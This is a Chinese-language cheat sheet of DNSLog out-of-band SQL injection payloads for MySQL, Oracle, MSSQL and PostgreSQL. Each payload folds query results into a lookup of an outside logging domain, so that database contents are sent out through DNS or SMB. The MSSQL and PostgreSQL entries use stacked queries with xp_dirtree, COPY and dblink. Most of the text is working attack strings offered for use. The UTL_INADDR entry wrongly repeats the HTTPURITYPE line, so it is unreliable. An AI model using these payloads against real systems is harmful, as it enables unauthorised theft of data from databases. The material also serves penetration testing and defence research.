參考文章
數據庫DNSLog外帶注入-總結
Dnslog在SQL注入中的實戰
注:外帶數據皆為數據庫版本信息
mysql
條件:
- Windows
- mysql.ini 中 secure_file_priv 必須為空,
select @@secure_file_priv
- 適用於聯合注入或堆疊注入
具體:
利用 mysql (Windows 適用)中的 load_file() 函數
select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));
當查詢的數據中有特殊符號時,可使用 hex() 函數外帶
select load_file(concat("\\\\",hex(version()),".1ndex.dnslog.cn//1ndex.txt"));
,數據過長不行
oracle
條件:適用於聯合注入或堆疊注入
可用函數:
- UTL_HTTP.REQUEST()
SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;
- DBMS_LDAP.INIT()
SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;
- HTTPURITYPE()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;
- UTL_INADDR.GET_HOST_ADDRESS()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;
mssql
條件:Windows、適用於堆疊注入
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"');
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"');
postgreSQL
條件:Windows、適用於堆疊注入
id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();
開啟 db_link 擴展:
id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT);
注意點
- dns 查詢有長度限制,所以當查詢結果數據過長時需要截斷
- 特殊符號,如
@
,一般先編碼后再帶出